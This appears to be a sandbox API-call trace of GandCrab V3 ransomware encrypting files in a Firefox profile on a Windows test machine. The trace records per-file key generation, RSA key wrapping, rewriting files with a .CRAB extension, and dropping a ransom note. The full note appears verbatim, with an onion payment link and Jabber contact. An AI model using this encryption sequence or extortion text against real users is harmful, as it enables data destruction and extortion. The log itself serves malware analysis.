	[0120.450] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\store.json.mozlz4.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\store.json.mozlz4.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\store.json.mozlz4.CRAB"
	[0120.450] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\store.json.mozlz4.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\store.json.mozlz4.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\store.json.mozlz4.CRAB.CRAB"
	[0120.450] CryptAcquireContextW (in: phProv=0x31492e8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492e8*=0xd6e408) returned 1
	[0120.451] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0120.451] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0120.452] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0120.452] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3149424 | out: pbBuffer=0x3149424) returned 1
	[0120.452] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0120.452] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.452] CryptAcquireContextW (in: phProv=0x31492e8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492e8*=0xd6e5a0) returned 1
	[0120.452] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0120.453] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0120.453] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0120.453] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x3149400 | out: pbBuffer=0x3149400) returned 1
	[0120.453] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0120.453] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.453] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0120.454] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0120.454] CryptAcquireContextW (in: phProv=0x31492d8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492d8*=0xd6eb78) returned 1
	[0120.454] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x31492d4 | out: phKey=0x31492d4*=0x3165a18) returned 1
	[0120.454] CryptGetKeyParam (in: hKey=0x3165a18, dwParam=0x8, pbData=0x31492c4, pdwDataLen=0x31492cc, dwFlags=0x0 | out: pbData=0x31492c4*=0x800, pdwDataLen=0x31492cc*=0x4) returned 1
	[0120.454] CryptEncrypt (in: hKey=0x3165a18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149434*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149434*=0x100) returned 1
	[0120.455] GetLastError () returned 0x0
	[0120.455] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0120.455] CryptAcquireContextW (in: phProv=0x31492d8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492d8*=0xd6e408) returned 1
	[0120.455] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x31492d4 | out: phKey=0x31492d4*=0x3165f98) returned 1
	[0120.455] CryptGetKeyParam (in: hKey=0x3165f98, dwParam=0x8, pbData=0x31492c4, pdwDataLen=0x31492cc, dwFlags=0x0 | out: pbData=0x31492c4*=0x800, pdwDataLen=0x31492cc*=0x4) returned 1
	[0120.455] CryptEncrypt (in: hKey=0x3165f98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149438*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149438*=0x100) returned 1
	[0120.456] GetLastError () returned 0x0
	[0120.456] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0120.456] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes\\store.json.mozlz4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\crashes\\store.json.mozlz4.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8
	[0120.456] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0120.457] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0120.457] ReadFile (in: hFile=0x3d8, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314947c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314947c*=0x42, lpOverlapped=0x0) returned 1
	[0120.472] VirtualAlloc (lpAddress=0x0, dwSize=0x50, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0120.473] VirtualAlloc (lpAddress=0x0, dwSize=0x50, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0120.473] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.473] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xffffffbe, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.473] WriteFile (in: hFile=0x3d8, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314946c*=0x50, lpOverlapped=0x0) returned 1
	[0120.473] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.474] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.478] WriteFile (in: hFile=0x3d8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314946c*=0x100, lpOverlapped=0x0) returned 1
	[0120.478] WriteFile (in: hFile=0x3d8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314946c*=0x100, lpOverlapped=0x0) returned 1
	[0120.479] WriteFile (in: hFile=0x3d8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314946c*=0x8, lpOverlapped=0x0) returned 1
	[0120.479] CloseHandle (hObject=0x3d8) returned 1
	[0120.480] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.480] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.481] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.482] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.482] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.482] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.483] FindNextFileW (in: hFindFile=0x3165e98, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0
	[0120.483] FindClose (in: hFindFile=0x3165e98 | out: hFindFile=0x3165e98) returned 1
	[0120.483] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0120.483] lstrcmpW (lpString1="datareporting", lpString2=".") returned 1
	[0120.483] lstrcmpW (lpString1="datareporting", lpString2="..") returned 1
	[0120.483] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="datareporting" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting"
	[0120.483] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\"
	[0120.483] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0120.483] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0120.483] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0120.483] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0120.483] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0120.483] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.483] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x31494c8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0120.484] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0120.484] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0120.484] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148cb0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0120.484] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0120.484] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0120.484] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0120.484] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\\\CRAB-DECRYPT.txt") returned 111
	[0120.484] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0120.518] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0120.518] WriteFile (in: hFile=0x3e0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x31494ac, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x31494ac*=0xcce, lpOverlapped=0x0) returned 1
	[0120.519] CloseHandle (hObject=0x3e0) returned 1
	[0120.519] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.519] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\") returned 94
	[0120.519] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\*"
	[0120.519] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\*", lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0x3165918
	[0120.520] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0120.520] FindNextFileW (in: hFindFile=0x3165918, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0120.520] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0120.520] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0120.520] FindNextFileW (in: hFindFile=0x3165918, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0120.520] lstrcmpW (lpString1="archived", lpString2=".") returned 1
	[0120.520] lstrcmpW (lpString1="archived", lpString2="..") returned 1
	[0120.520] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\", lpString2="archived" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived"
	[0120.520] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\"
	[0120.520] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0120.520] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0120.520] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0120.520] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0120.520] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0120.520] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.521] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148a20, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0120.521] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0120.521] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0120.521] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148208, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0120.521] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0120.521] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0120.521] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0120.521] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\\\CRAB-DECRYPT.txt") returned 120
	[0120.521] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\archived\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8
	[0120.523] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0120.523] WriteFile (in: hFile=0x3d8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3148a04, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3148a04*=0xcce, lpOverlapped=0x0) returned 1
	[0120.524] CloseHandle (hObject=0x3d8) returned 1
	[0120.525] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.525] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\") returned 103
	[0120.525] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\*"
	[0120.525] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\*", lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 0x3165d58
	[0120.525] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0120.525] FindNextFileW (in: hFindFile=0x3165d58, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0120.525] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0120.525] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0120.525] FindNextFileW (in: hFindFile=0x3165d58, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0120.525] lstrcmpW (lpString1="2017-05", lpString2=".") returned 1
	[0120.525] lstrcmpW (lpString1="2017-05", lpString2="..") returned 1
	[0120.525] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\", lpString2="2017-05" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05"
	[0120.525] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\"
	[0120.525] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0120.526] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0120.526] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0120.526] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0120.526] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0120.526] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.526] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3147f78, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0120.526] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0120.526] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0120.526] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3147760, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0120.526] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0120.526] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0120.526] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0120.527] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\\\CRAB-DECRYPT.txt") returned 128
	[0120.527] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3dc
